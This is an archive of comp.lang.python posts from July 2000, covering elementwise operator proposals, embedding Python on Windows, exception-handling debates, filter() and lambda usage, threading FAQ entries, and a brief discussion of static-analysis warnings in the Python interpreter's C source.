References: <20000718100813.C21354@newcnri.cnri.reston.va.us> <T0ePelAgnJd5EwFl@jessikat.fsnet.co.uk> <397517C6.93911CF0@prescod.net> <397684EB.3E0C5D88@my.signature>
Message-ID: <39772439.839B99C6@roguewave.com>

Greg Ewing wrote:
> 
> Paul Prescod wrote:
> >
> > We're looking just to pair up elements.
> 
> In that case, obviously the solution is to combine this
> thread with the one on new operator symbols, and define
> an elementwise tuple-creation operator
> 
>    .,

I think this would/should be the obvious consequence of adding
elementwise operators, I also think it's a wonderful argument for not
adding them...

  for i,j in [1,2,3].+[4,5,6].,[7,8,9].*[10,11,12]:
    print 'what was the precedence of elementwise operators again?'

-- bjorn



From gmcm at hypernet.com.bbs  Mon Jul 17 14:00:02 2000
From: gmcm at hypernet.com.bbs (gmcm at hypernet.com.bbs)
Date: 17 Jul 2000 18:00:02 GMT
Subject: Can't load .pyd files from embedded Python interp
Message-ID: <3bRKU2$jW4@openbazaar.net>

Edward K. Ream wrote:

>Gordon McMillan wrote:
>
>> Most people just use python15.dll from their embedding app so both get
>> the same copy.

[snip]

>Gordon, thanks so much for this reply.  This was precisely what I
>needed.
>

[snip]

>This illustrates one of the most common failings in documentation:
>failing to tell _what_ the reader is to do and _why_.  Much
>documentation just jumps in and explains _how_ to do something.  I just
>reviewed the Python Extending and Embedding docs.  There is no mention
>that one must link against python15.dll, and certainly no hint about
>why that is necessary.  One or two sentences in the docs might have
>saved me about a week of enjoyable, but useless, work.

Well, this is a requirement that's unique to Windows. Unixen (those that
allow dynamic linking) do (essentially) a full link at runtime, so there's
no problem getting symbols from the executable. There's also no concept of
an "import lib". And Windows doesn't spell "import lib" differently than
"static lib", so it's easy to mistake "python15.lib" for a reference to a
static lib, when in fact it means the import lib for python15.dll.

It's difficult to know where to document all the platform specific aspects
of embedding / extending (especially when it's kind of a moving target). I
would guess that most people started by building Python from source, and
then playing with the examples.

>I'll write up my experiences when I've successfully embedded Python in
>my app.  For now the conclusion seems to be that one only need link in
>C:\Windows\System\python15.dll to the app.  There are some details
>specific to Borland, but presumably they won't be difficult.

I hope you're right about that.

- Gordon


From alex at magenta.com  Sat Jul 29 19:55:43 2000
From: alex at magenta.com (Alex Martelli)
Date: Sun, 30 Jul 2000 01:55:43 +0200
Subject: Perl is worse!
References: <8losor$4bk$1@nnrp1.deja.com> <slrn8o0n0b.qhk.grey@teleute.rpglink.com> <8lpt57$hsu$2@newshost.accu.uu.nl> <slrn8o10ko.rt1.grey@teleute.rpglink.com> <8lq5q6$fn4$1@newshost.accu.uu.nl> <slrn8o1do5.rt1.grey@teleute.rpglink.com> <8lspdu$m7e$1@newshost.accu.uu.nl> <slrn8o40d1.49c.grey@teleute.rpglink.com> <8luhsi01ce8@news2.newsguy.com> <slrn8o6nub.f91.grey@teleute.rpglink.com>
Message-ID: <8lvr4n0iue@news2.newsguy.com>

"Steve Lamb" <grey at despair.rpglink.com> wrote in message
news:slrn8o6nub.f91.grey at teleute.rpglink.com...
    [snip]
> >As the 'behaving oddly' will typically produce irreversible alterations
> >of a precious persistent database
>
>     Only if you're typically working with persistent databases.

Which is what most computer work is doing, though the DB's may
not be relational ones.  Files, mailboxes, documents, saved
games, newsgroups, sites -- call them as you wish, they do
persist (hopefully:-) and your data are right there.


>     Personally, if my email client died because of some uncaught exception
> versus me being able to close out my message beacuse of some bug in a
display
> routine, I'd rather be able to close out and save my 20k message than have
to
> retype it.  There is more to programs than databases.

The crucial thing is that it must not mess up your mailbox and its
archives -- the rich, large, precious persistent database.  If it
does not keep a reasonably current copy of what you've typed so far
in a safe place on disk, it's junk anyway -- 20k worth of text is
likely to be *hours* of worth, and if they're kept in such a way
that a program crash makes you lose them, you'll also lose them if
electricity goes away, or the *OS* crashes (far from unknown, in
Microsoft widespread OS's especially), etc.

Losing one working-session, say several hours, is serious damage,
and clearly depends on a fundamentally wrong design of the program
that handles your work.  Losing a serious database, such as a full
mail archive, is utter tragedy -- the kind of thing that can break
a small company (if they haven't been religiously careful about
backing up *everything* frequently -- and far too many aren't).

A "small anomaly" that goes unnoticed (rather than triggering an
exception, that the programmer cannot ignore by default, but must
take a specific decision to catch somewhere) can corrupt the data
in ways that are subtle, hard to notice for a long time, and are
quite likely to degrade things.  A good example I've already seen
given to you is a program that's computing prices by multiplying
unit price, number of units, taxrate, discount, etc; if any one of
those, due to another bug, comes up as the string 'xyz', would
you rather the program took that as 0, and by multiplying get the
overall price as also zero, so the buyer can get the goods you're
selling at no cost at all?  Or would you rather get an unmistakable
exception just as soon as the wrong data is attempted to be taken
as a number?

Exceptions are your friends, because mistakes DO happen -- and
people writing programs never put in them ALL the checks they
should, if the default is that an error goes unnoticed.  With
exceptions, the default is a dramatic indication of the error,
so it DOES get handled -- not always WELL, mind you, since a
wilfully wrong-headed programmer can always deliberately choose
to catch and explicitly ignore them, but that requires a higher
order of perversity than the common mistake of failing to check
for each and every possible error!-)


> >Fortunately, it doesn't have to be made: wrapping the top-level entries
> >in a try/except is so TRIVIALLY easy, that there is really NO excuse
> >for any program not doing so.
>
>     Great, and then we're out of some other common practices.  CNTL-C, for
> example.  :P

Control-C (depending on the operating system) will cause a specific
exception, and the programmer decides how it gets handled.


> >but that does not stop ME from having a last will registered, nor
> >from wrapping my programs in try/except...:-).
>
>     Just out of curiousity, how do you get back down into the loop if it
is,
> say, 12 deep?  Does Python hit the handler, do its thing, drop back down?

No!  The semantics of 'restartable exceptions', which you refer to,
used to be very popular back when exceptions were first invented, but
turned out to be both extremely complex to implement correctly, AND
extremely complex to USE, so in practice there was really no pay-off
to the complexity.  Modern exception-systems are non-restartable:
once the stack is unwound all the way to an except clause that handles
the specific exception, execution continues right after that whole
try/except block.  I think the only restartable-exception you're at
all likely to encounter today (depending on what kind of work you do,
and on what platforms) is Win32's "Structured Error Handling" (SEH),
and even that is normally wrapped up into nonrestartable-exception
frameworks, such as C++'s (I'm not sure what Python does about SEH,
if indeed it does anything about it).

If the 12 nested loops must continue (which is infrequent: unhandled
exceptions mean unexpected errors, so the whole computation is most
likely junked), the try/except block must be at the lowest level.


> >Hey, you just *SAID* there could be a None, so you had NOT made
> >sure at all that they did contain numbers!  None is NOT a number.
> >The empty sequence is not a number.  You're contradicting yourself!
>
>     No, I made sure there was a number in there, Python is the one that
> decided to drop a None in.

That group did not match any part of the input string.  So, HOW did
you "make sure it contained a number"?!  no match -> empty sequence
(by default: you could have used the argument to groups to have no
match correspond to something else, but didn't, so accepting the
default of None).  An empty sequence is not a number.  So you did
NOT make sure the group contained a number!

You made sure it EITHER contained a sequence of digits, OR it did
not (and in this latter case it would contain None).  What's Python
got to do with it?!  What sequence of digits do you believe Python
could or should have possibly placed into a group that did not
match any part at all of your input string?!

Having chosen to place yourself in an either-or case (rather than
force both cases to uniformity through the argument to the groups
method), you then obviously have to handle each branch.  I've lost
count of the zillions of ways that have been suggested to you for
that purpose, from the plainest if/else, to try/except, to the
subtly elegant int(x or 0), etc, etc.  _These_ are all ways to
"make sure there's a number" (or, for try/except, you could frame
it as, assuming there is a number, but also handling the case
where there is not), just as the argument to groups is (in a
more wholesale way, rather than case-by-case).


Alex





From rickhigh at aol.com  Mon Jul  3 03:27:30 2000
From: rickhigh at aol.com (RICKHIGH)
Date: 03 Jul 2000 07:27:30 GMT
Subject: JPython and Java integration
References: <8j7h3m$5v18j$1@fu-berlin.de>
Message-ID: <20000703032730.01208.00001107@ng-cp1.aol.com>

  Think about using IBM's BSF.
BSF = Bean Scripting Framework.
It works with JPython, BeanShell, etc.
For the price of integrating one language in your applicatoin you get many,
many languages.

I wrote an article on BSF and JPython at the JDJ (Java Developer's Journal).

go to www.sys-con.com hit the JDJ gif, then search for BSF or JPython.


From vtbl.moorepe at memo.volvo.se  Tue Jul 11 04:55:00 2000
From: vtbl.moorepe at memo.volvo.se (PM)
Date: Tue, 11 Jul 2000 08:55:00 +0000
Subject: Installing and running JPython on the AS/400
References: <3969fb38_1@nnrp1.news.uk.psi.net>
Message-ID: <396AE0E4.DB024B52@memo.volvo.se>

I wonder if the installer need a GUI, if so have you set up remote AWT?
Be interested  to know if you get it working...
Simon Brunning wrote:
> 
> Has anyone done this? I can't even get the JPython installer (from
> <http://www.jpython.org/download.html>) to execute...
> 
> --
> Cheers,
> Simon Brunning
> TriSystems Ltd.
> sbrunning at trisystems.co.uk
> The opinions expressed are mine, and are not necessarily those of my
> employer. All comments provided "as is" with no warranties of any
> kind whatsoever.


From ldw at us.ibm.com  Tue Jul 18 16:53:54 2000
From: ldw at us.ibm.com (Larry Whitley)
Date: Tue, 18 Jul 2000 15:53:54 -0500
Subject: Using filter()
References: <8l1o9h$pto$1@news.rchland.ibm.com> <8l256r$d7n$1@netserv.univ-lille1.fr>
Message-ID: <8l2g53$14ha$1@news.rchland.ibm.com>

Thanks, that certainly works.

I don't understand why lambda needs the second parameter.  When I experiment
with

filter( lambda x: string.find( x, name) == 0, fileList)

in place of

filter( lambda x,sf=string.find: sf(x, name )==0, fileList )

it works as well.  I suspect that your codeing come from something more
general.  Can you explain the reason the sf=string.find construction is
useful in this context?

Thanks,
Larry

"Calvelo Daniel" <dcalvelo at pharion.univ-lille2.fr> wrote in message
news:8l256r$d7n$1 at netserv.univ-lille1.fr...
> Larry Whitley <ldw at us.ibm.com> wrote:
> : I have a simple problem and from the description, filter() seems like a
> : match.  But I can't figure out how to make it work.  Here's the code
without
> : using filter()
>
> : include string, os
>
> : def filter1( fileList, name ):
> : #--------------------------------------------------------
> : # matches name to the first characters of a file in the file list
> :  temp = []
> :  for i in range(len(fileList)):
> :     if string.find( fileList[i], name ) == 0:
> :         temp.append( fileList[i] )
> :  return temp
>
> This:
>
> filter( lambda x,sf=string.find: sf(x, name )==0, fileList )
>
> gives you back the same result. In this and filter2(), the point
> of using the built-in filter is to move out of the loop and design
> the test function element-wise. filter then does the job.
>
> : def filter2( filelist, aString ):
> : #-------------------------------------------------
> : # finds aString somewhere in the file list
> :  temp = []
> :  for i in range(len(filelist)):
> :     if string.find( filelist[i], aString ) != -1: # is in the string
> : somewhere
> :         temp.append( filelist[i] )
> :  return temp
>
> Likewise:
>
> filter( lambda x,sf=string.find: sf(x, name ) !=-1, fileList )
>
> [snip main]
>
> : I suspect using filter() would simplify this.  Can someone help?
>
> : Larry
>
> HTH
>
> docstrings-are-your-friend-if-not-then-they-are-enemies-to-be-feared-ly
y'rs
>
> Daniel.
>
> -- Daniel Calvelo Aros
>      calvelo at lifl.fr




From horst at proceryon.at  Tue Jul 18 01:28:52 2000
From: horst at proceryon.at (Horst Gassner)
Date: Tue, 18 Jul 2000 07:28:52 +0200
Subject: Best way to switch  between different view
Message-ID: <3973EB14.1D3F17BF@proceryon.at>

Hi all!

In my application there are three different kind of views. Each of them
has to be displayed in the same main window. Two of them are scrolled
canvases and one is a scrolled frame (all of them with many widgets
inside).

What is the best way to handle this different views? At the moment I
completely destroy one view and rebuild the new one but there must be a
better way. Some time ago I have read something about an unpack method
to hide a widget. Could this be the best way to do this?

Thanx in advance
Horst


From Lisowski.Tomasz at sssa.nospam.pl  Wed Jul 12 05:11:04 2000
From: Lisowski.Tomasz at sssa.nospam.pl (Tomek Lisowski)
Date: Wed, 12 Jul 2000 09:11:04 GMT
Subject: Odp: What about try:except:finally
References: <3967d908.363887342@news.online.no> <rkl95.48923$W35.1068917@news20.bellglobal.com>
Message-ID: <ICWa5.46250$Qw1.1084910@news.tpnet.pl>

U?ytkownik Olivier Dagenais <olivierS.dagenaisP at canadaA.comM> w wiadomo?ci
do grup dyskusyjnych
napisa?:rkl95.48923$W35.1068917 at news20.bellglobal.com...
> If I remember the tutorial correctly, it doesn't support finally with
> anything else.  I have a feeling you would need to do:
>
> try:
>     #init
>     try:
>        # stuff
>     except:
>        # stuff
> finally:
>     #stuff
>
> ...that is, assuming that your "except" would only catch specific
exceptions
> that you would want to prepare an error message with.

Please quote the original message next time.

At least I can see in your example one error. If you place try...except...
within try...finally..., the latter construct won't see any exceptions at
all. Moreover, if #init raises an exception, it won't be caught!

I see it more logical in this order:
try:
   try:
     #init
     #stuff
   except:
     #stuff
finally:
   #stuff

If you want separate behaviour for exceptions in #init and the first #stuff
sections, add yet another try...except... contruct. If #init is safe, and
will not raise any exceptions, it can be placed outside of the inner
try...except... construct.

Tomek Lisowski



From fplancke at my-deja.com  Mon Jul  3 14:59:02 2000
From: fplancke at my-deja.com (Frédéric van der Plancke)
Date: Mon, 03 Jul 2000 18:59:02 GMT
Subject: Class design: accessing "private" members
References: <962352843.1667731268@news.libertysurf.fr> <8jhuvn01vs0@news2.newsguy.com> <962367319.379353174@news.libertysurf.fr> <395D79FE.4E4FDBCE@colconsulting.com> <8jplbd0l5c@news2.newsguy.com>
Message-ID: <8jqnpe$vao$1@nnrp1.deja.com>

In article <8jplbd0l5c at news2.newsguy.com>,
  "Alex Martelli" <alex at magenta.com> wrote:

> Such "prohibition" is not hard at all:
>
> class dontderive:
>     def __init__(self):
>         if self.__class__ != dontderive:
>             raise "told you not to!"
>
> class foo(dontderive):
>     pass
>

#but...

class bypassing_prohibition(dontderive):
   def __init__(self):
       pass

eh = bypassing_prohibition()

#this works because __init__ never automatically calls the __init__
#method of base classes...

--
Frederic van der Plancke
e-mail address: reverse and add dot-at-dot to:
      <com writeme vdplancke frederic>
(I don't read <fplancke at my-deja.com> regularly.)


Sent via Deja.com http://www.deja.com/
Before you buy.


From cjw at connection.com  Fri Jul 28 12:34:02 2000
From: cjw at connection.com (Colin J. Williams)
Date: Fri, 28 Jul 2000 12:34:02 -0400
Subject: List Comprehension
Message-ID: <3981B5FA.77941F06@connection.com>



Is the following, from          
http://www.pythonlabs.com/talks/PythonState_files/v3_document.htm

a misprint? 

     [(x,x**2) for x in
     range(5)]
                         ->
     [(0,0), (1,1), (4,4), (9,9),
     (16,16)]

Should the result not be: [(0, 0), (1, 1), (2, 4) (3, 9), (4, 16)]?

Colin W.


From to_get_my_address at see.my.signature  Wed Jul 26 23:37:22 2000
From: to_get_my_address at see.my.signature (Greg Ewing)
Date: Thu, 27 Jul 2000 16:37:22 +1300
Subject: Operators for everything (was Re: Operators for matrix)
References: <m3em4ld5t3.fsf@atrus.jesus.cam.ac.uk> <memo.20000724210456.47597A@digitig.compulink.co.uk> <397CB3EA.15F5514F@prescod.net> <200007250053.RAA03842@rocket.knowledgetrack.com> <397CFDAC.38A22DAF@prescod.net> <slrn8nschv.1bud.cjc26@synecdoche.sowrong.org>
Message-ID: <397FAE70.67357E5C@see.my.signature>

Cliff Crawford wrote:
> 
> They sorta remind me of Smalltalk's keyword messages:

Hmmm, I must say that

   A mmul: B

looks rather less ugly to me than

   A @mmul B

There are a couple of reasons for this, I think. One is
that I find @ to be an ugly symbol in itself to begin
with. The other is that it comes with a preconceived
pronunciation -- in my mind I hear "A at mmul B" and
think "what the &^%#* does that mean?" Whereas the
colon doesn't normally have a pronunciation, so the
first one sounds better. Also, it harmonises with the
usual way of using a colon in English.

However, I don't think that any of this sort of thing 
is going to satisfy the mathematicians. Infix operators
work not only because they are infix, but because they
are extremely compact, allowing very complicated
formulas to be expressed concisely yet readably.

The requirement for readability is where all of the
proposals for non-alphabetic symbol combinations fall
down as well, to my eyes. Even the claimed-to-be-superior

   (1~+2)~*3 ~- 4 == (10~/2)~^1

doesn't look much better to me than any of the others.
When I look at that, the first thing I see is a whole
bunch of tildes, and I have to look quite hard to pick
out exactly what is after each tilde. It also doesn't
help that

   1~+2

looks rather like

   1 ~ +2

etc.

If I had to decide on some set of multi-character operators,
I think I would have to go for one of the bracketed sets
that have been suggested. And it would probably have to
be {}. Both () and [] clash too much with their other
uses in an expression, and <-> looks too arrowish. It's
unlikely that dictionary construction is going to be used
in a linear algebra expression very often, though.

   A = 3*B{*}C + (D{*}e - F{*}g) {-} H{/}J

Not all that great, but at least it has a chance of
being read.

I think we're just going to have to wait for Unicode
before we can solve this in a really satisfactory way,
folks.

-- 
Greg Ewing, Computer Science Department, 
University of Canterbury, New Zealand
To get my email address, please visit my web page:
http://www.cosc.canterbury.ac.nz/~greg


From shapr at uab.edu  Wed Jul 26 16:57:44 2000
From: shapr at uab.edu (Shae Erisson)
Date: Wed, 26 Jul 2000 20:57:44 GMT
Subject: Reading PCI Configuration Space...
References: <eviltofu-DABC38.15495026072000@news.earthlink.net>
Message-ID: <397F501F.B733ECCB@uab.edu>

Jerome Chan wrote:
> 
> Does anyone know how to read the PCI configuration space with Python
> under Win 98 or Linux?

In linux, try:
cat /proc/pci

Though I recall that PCI reading via the /proc filesystem has changed
recently, although it also maintains backwards compatibility. I do not
recall whether reading /proc/pci is the new way, or the old way.
-- 
Shae Matijs Erisson - http://www.webwitches.com/~shae/
VirtualPairProgramming Wanted - Linux/Emacs/Python/Speak Freely
.fi: rakastan ohjelmointia - python kengitt?? aasia


From thor at localhost.localdomain  Thu Jul 20 17:57:21 2000
From: thor at localhost.localdomain (Manuel Gutierrez Algaba)
Date: 20 Jul 2000 21:57:21 GMT
Subject: Python in game development?
References: <v62d5.580$GQ1.26151@newsread2.prod.itd.earthlink.net> <963990339.783645@marvin> <8l4h60$jnk$2@gxsn.com> <8l4isr$l58$2@newshost.accu.uu.nl> <8l57fc$vi8$1@fermi.tro.net> <8l6pgt$fmc$1@newshost.accu.uu.nl> <39770DB6.372D4CFB@prescod.net> <8l77bl$puk$1@newshost.accu.uu.nl>
Message-ID: <slrn8nf4gi.5q8.thor@localhost.localdomain>

On 20 Jul 2000  Martijn Faassen <m.faassen at vet.uu.nl> wrote:
>Paul Prescod <paul at prescod.net> wrote:
>> Martijn Faassen wrote:
>>> 
>>> ...
>>>
>>> >From a game programming perspective, you can probably consider Python to
>>> be dirt-slow, though. The trade-off is a lot of power for speed, but
>>> that power can help you gain back speed because you can be a lot smarter.
>
>> Python is dirt-slow if you are going to write a whole game in it.
>
>
>That said, I think Python can definitely be used in a game engine and that
>it wouldn't be too slow for many purposes. Include babbling about
>'premature optimization' and 'reinventing the wheel' here as arguments
>for the use of Python in games.
>

I've implemented a game in python for the university. It uses
Clips for AI , and tkinter for "graphics". It's 10000+ lines long.
It's not slow. And it'll be made public by September (if everything
goes well).

python is wonderful, much better than pythonistas think.

P.S.: The game is entirely written in SPANISH, so till I translate
it into English, THOSE with a knowledge in SPANISH may enjoy the
reading of such a beast !

I hope everything goes well and by October/November we have 
the best game with the best AI implemented in PURE python and Clips.

--- 
MGA


From stephen_purcell at yahoo.com  Wed Jul 12 03:56:47 2000
From: stephen_purcell at yahoo.com (Steve Purcell)
Date: Wed, 12 Jul 2000 07:56:47 -0000
Subject: example of accessing email account.
In-Reply-To: <396C0E23.887E46DA@esec.com.au>
Message-ID: <8kh8bv+gipi@eGroups.com>

sss <swun at e...> wrote:
> does anyone have python of how to access web (eg.yahoo) email
account?

For web mail accounts that have POP access, such as Yahoo, check out
the 'poplib' standard library module:

  http://www.python.org/doc/current/lib/pop3-example.html


-Steve

--
Steve Purcell,  Technical Director, Inkontact
Get in touch at http://www.inkontact.com/
Get testing at http://pyunit.sourceforge.net/
"Life must be simple if I can do it" -- Me





From hzhu at localhost.localdomain  Mon Jul 17 16:02:31 2000
From: hzhu at localhost.localdomain (Huaiyu Zhu)
Date: Mon, 17 Jul 2000 20:02:31 GMT
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators for   matrix computation)
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com> <3973415D.5262CD86@eecis.udel.edu> <39735013.1AE68176@roguewave.com> <slrn8n6l4p.qp.hzhu@rocket.knowledgetrack.com> <39735A82.8B4D0489@prescod.net>
Message-ID: <slrn8n6ppl.sf.hzhu@rocket.knowledgetrack.com>

On Mon, 17 Jul 2000 14:12:02 -0500, Paul Prescod <paul at prescod.net> wrote:

>Maybe you should consider how to scale back your syntactic request.
>Perhaps a single keyword or symbol at the beginning of an expression
>could make it element-wise or matrix-wise.

Well, that would be fine if it is workable, ie, when they don't appear in
the same expression.  

Consider the proposal of having two classes, Matrixwise and Elementwise,
with methods to cast to each other.  I don't know why

(a.E()*b.E()).M()*(c.E()*d.E()).M()

would be more preferable to 

(a.*b)*(c.*d)

I chose python because most expressions I write I can visually parse at a
glance.  

Please show an example of special xml syntax proposed that was rejected
because it was too special, and we'll see what kind of simplicity the
proposal represents.

Huaiyu


From fiona at sitegnome.com  Thu Jul 27 06:53:32 2000
From: fiona at sitegnome.com (Fiona Czuczman)
Date: 27 Jul 2000 10:53:32 -0000
Subject: [FAQTS] Python Knowledge Base Update -- July 27th, 2000
Message-ID: <20000727105332.32115.qmail@synop.com>

Hi Guys,

Here are the latest entries into http://python.faqts.com

enjoy,

Fiona

Including:

- How can I determine the number of threads that are running?
- Searching an example that has multiple threads write to the Queue 
object?
- How to build arbitrarily-sized lists in one fell swoop?
- Does anybody know of a compiler for python?


## New Entries #################################################


-------------------------------------------------------------
How can I determine the number of threads that are running?
http://www.faqts.com/knowledge-base/view.phtml/aid/5043
-------------------------------------------------------------
Fiona Czuczman
Aahz Maruch

If you are using threading.py, and if you create all your threads using
threading.Thread() (or subclasses thereof), then you can use
threading.activeCount().  However, you should be aware of two caveats:

* The main thread that starts up the subthreads *does* count as a
thread, so your thread count is always one higher than your first guess.

* While occasionally useful for what I call "brute force" threading,
activeCount() is mostly useless in "real" threaded programs.  If you
really want to know how many threads are running, use some kind of
variable that you increment and decrement through a mutex.  But there
are usually no reasons other than debugging to do this.


-------------------------------------------------------------
Searching an example that has multiple threads write to the Queue object?
http://www.faqts.com/knowledge-base/view.phtml/aid/5044
-------------------------------------------------------------
Fiona Czuczman
Robert W. Bill

If you hypothetically wanted to have one class log events from threads,
you could subclass threading.Thread and start with something that looks
like this:

from threading import *
from Queue import Queue

class clientThread(Thread):
    def __init__(self, q, myNumber):
        self.q = q
        self.myNumber = myNumber
        Thread.__init__(self)
                        
    def run(self):
        # do something wacky #
        logline = "This is a log from thread #" + str(self.myNumber)
        self.q.put(logline) # this blocks--see Python Library Ref
                            # you may want to wrap in try/except
                            # with put_nowait

class logger(Thread):
    def __init__(self, q):
        self.q = q
        Thread.__init__(self)
        
    def run(self):
        print "logger started"
        # replace next line (range) with an event or something more 
        # useful
        for i in range(10):
            logEntry = q.get() # this blocks--see Python Library Ref
                               # you may want get_nowait() in try/except
            print logEntry

if __name__=='__main__':
    q = Queue(10)
    logger(q).start()
    for i in range(10):
        clientThread(q,i).start()


-------------------------------------------------------------
How to build arbitrarily-sized lists in one fell swoop?
http://www.faqts.com/knowledge-base/view.phtml/aid/5045
-------------------------------------------------------------
Fiona Czuczman
Remco Gerlich

l = [x]*n

Does what you do here. I don't know what kind of object x is, but note
that this doesn't make *copies* of x; if it's some instance, then all
elements of l will be a reference to the same old x. Same for your
methods.


-------------------------------------------------------------
Does anybody know of a compiler for python?
http://www.faqts.com/knowledge-base/view.phtml/aid/5046
-------------------------------------------------------------
Fiona Czuczman
Shae Matijs Erisson

Jeremy Hylton has a source to bytecode compiler written in Python.
it's in the python/nondist/Compiler/ part of the CVS tree.

Greg Stein and Bill Tutt wrote a Python2C translator, which cuts at
least 10percent off of running time from what I've read. The C file
that's written is a Python module, and so won't let you make a pure
executable though.
It's at http://lima.mudlib.org/~rassilon/py2c/ (or was last I checked)

A python compiler is definitely possible, especially once you've checked
out the two projects mentioned above. I don't know how much it's needed
though.






From moshez at math.huji.ac.il  Mon Jul  3 06:56:03 2000
From: moshez at math.huji.ac.il (Moshe Zadka)
Date: Mon, 3 Jul 2000 13:56:03 +0300 (IDT)
Subject: Python CGI security
In-Reply-To: <39605B6A.28B4E36D@stroeder.com>
Message-ID: <Pine.GSO.4.10.10007031350130.22346-100000@sundial>

On Mon, 3 Jul 2000, Michael [iso-8859-1] Str?der wrote:

> Thomas Wouters wrote:
> > 
> > On Mon, 03 Jul 2000 08:47:47 +0200, Michael Str?der <michael at stroeder.com>
> > wrote:
> > >"E. Jordan Bojar" wrote:
> > 
> > >> [..] buffer overflow [..] 
> > 
> > >I'm not a C programmer at all and therefore I just naively used a
> > >tool named ITS4: <URL: http://www.rstcorp.com/its4/> to find parts
> > >in the Python interpreter which might have buffer overrun issues. I
> > >would really like to have some discussion about the ITS4-output.
> > 
> > If you do want to have that discussion, feel free to send me that report, 
> > or post it here
> 
> Ok, here are some examples from Python1.6a2 sources (see below). I'm
> not a C programmer therefore such tools are my only possibility to
> raise some discussion by pointing to code. Off course the tool
> outputs only hints. Not every code line listed is a real security
> hole.

OK, here is an answer to the report I just snipped.
There are a few types of "potential security holes":

 -- exposing insecure parts of the API, such as os.system(). These should
    stay, since the user should have those at his disposale

 -- OS/2 message formatting. I haven't looked at it, but this only
    concerns you if you're working on OS/2

 -- checked "dangerous" functions, which are therefore fine as far as I
    could see

 -- one sprintf() which will work fine as long as integers are <128 bits, 
    which is true in the forseeable feature. I'm planning to patch this,
    just in case, but it should be fine anyway. (I'm talking about the 
    first sprintf() in posixmodule.c)


--
Moshe Zadka <moshez at math.huji.ac.il>
There is no GOD but Python, and HTTP is its prophet.




From bkhl at swipnet.se  Sat Jul  8 02:16:52 2000
From: bkhl at swipnet.se (Bjoern Lindstroem)
Date: Sat, 8 Jul 2000 08:16:52 +0200
Subject: Making tabs illegal
References: <394ac7ea.609024015@nntp.interaccess.com> <3950C0E2.7532D38@sightreader.com> <8k5l8d$9lr$1@nnrp1.deja.com> <Pine.BOS.4.10.10007081420100.1550-100000@be>
Message-ID: <slrn8mdhqk.d33.bkhl@orcs-bane.localdomain>

Matthew Schinckel wrote:
> > > As for the space/tab mixing issue, the answer is simple: Make tab an
> > > illegal character in python.  Problem solved.
> > >
> 
> Ugh!  Don't make this the default - I hate having to hit space four times,
> I'd much rather just use tab.

Um... I had no problem to configure my editor to insert an
appropriate amount of spaces when i press <Tab>.
-- 
Bjoern Lindstroem <bkhl at swipnet.se>  http://home.swipnet.se/bkhl


From mbel44 at dial.pipex.net  Mon Jul 31 05:30:17 2000
From: mbel44 at dial.pipex.net (Toby Dickenson)
Date: Mon, 31 Jul 2000 10:30:17 +0100
Subject: New PEP: Attribute Access Handlers
References: <39791F0C.CDC13E79@prescod.net> <rhtqnsokl1imfpm19rg3r1ep2e1b52vnaq@4ax.com> <397FC3FD.92EF0A70@see.my.signature>
Message-ID: <s2haosoqka35blp23ju11dl0shjekrjj6v@4ax.com>

Greg Ewing <to_get_my_address at see.my.signature> wrote:

>Toby Dickenson wrote:
>> 
>> I can see some cases where it would be appealing to implement a
>> property access handler in a C extension. Is it worth dedicating a
>> slot in PyTypeObject for these things?
>
>I don't think that's necessary, because attribute access
>for C objects already goes through a getattr handler in
>the type object.

Through a getattr hander in the container object, yes. But not a
handler of the contained Getter/Setter object (unless it has the
special type - and that's the restriction that would be better
relaxed).



Toby Dickenson
tdickenson at geminidataloggers.com


From david_ullrich at my-deja.com  Sun Jul  9 14:58:19 2000
From: david_ullrich at my-deja.com (david_ullrich at my-deja.com)
Date: Sun, 09 Jul 2000 18:58:19 GMT
Subject: Problem with real-accurate module num != num
References: <nndoOWltXGEw7f=5YdyL54JFUe+J@4ax.com>
Message-ID: <8kai06$7an$1@nnrp1.deja.com>

In article <nndoOWltXGEw7f=5YdyL54JFUe+J at 4ax.com>,
  cmfinlay at magnet.com.au wrote:
> I am having problems with the code below
>
> QUOTE
> from real import *
> num = r(0)
> num_real = r(0)
> if num == num_real:
>    print "ok"
> else:
>    print "Bad" # the code goes here.
> UN QUOTE
>
> Also
>
> if num_real == 0
>
> Goes to the wrong place as well.

    All you have to do is add a __cmp__ method to a subclass.
With no __cmp__ method real instances get compared by object
identity (address?), which is not what you want.

    There are other problems with real.py - you may want to
try Tim's fixed-point class (you can find hints on how
__cmp__ should work there in any case). I think it's
fp.py, available everywhere (except I don't appear to
have a copy on the machine in the office or I could tell
you for sure what it's called...)

DU

> Any help would be very much appreciated
>
> Col. Finlay
> cmfinlaySPAM at magnet.com.au
>


Sent via Deja.com http://www.deja.com/
Before you buy.


From matthias.huening at univie.ac.at  Mon Jul  3 11:25:55 2000
From: matthias.huening at univie.ac.at (Matthias Huening)
Date: Mon, 3 Jul 2000 17:25:55 +0200
Subject: Again: ODBC / Win98 -> crash
References: <8jq7i6$395g$1@www.univie.ac.at> <8F666B563gmcmhypernetcom@199.171.54.154>
Message-ID: <8jqbbn$38cc$1@www.univie.ac.at>

Gordon McMillan:
>Since that's the JET driver (ie, the one that translates ODBC to
>JET), you can thank your lucky stars that it works at all <wink>.

:-)

>Access behaves very poorly through ODBC. If you really have to
>use Access, you might find ADO more satisfactory.

Well, it has to be Access for this project, but I certainly would like to
get suggestions for better alternatives on Windows. (But it has to be as
comfortable and simple as Access for my colleagues who only see and work
with the database frontend.)

Now for a really strange thing: I just moved my script to a different
computer (almost identical configuration), and... - everything works
just fine! No crashes, no problems whatsoever. I hate computers.

Matthias











From mmorris at mindspring.com  Mon Jul 24 11:00:43 2000
From: mmorris at mindspring.com (Mitchell Morris)
Date: 24 Jul 2000 15:00:43 GMT
Subject: searching for multiple strings in one pass
References: <8l7db8$v3g$1@nnrp1.deja.com> <8l9v1k$1tf0$1@nntp6.u.washington.edu>
Message-ID: <8F7B58704beablebeable@209.155.56.81>

owen at astroNOJNK.washington.edu.invalid (Russell E. Owen) wrote in <8l9v1k
$1tf0$1 at nntp6.u.washington.edu>:

>In article <8l7db8$v3g$1 at nnrp1.deja.com>, ghost_man at my-deja.com wrote:
>
[deletia]
>>How do I check for several file types in one pass?
>
>Not knowing the details of the data you're parsing, two ways come to 
>mind. There are undoubtedly others.
>
>1) Use regular expressions, i.e. the "re" module. In the example you 
>gave, you could look for:
>      \.(?P<ext>(hpp)|(cpp)|(etc))
>to match the extension. (?P<ext>...) labels the found text; if you call 
>the groupdict() method on the match object, you'll get a dictionary, one 
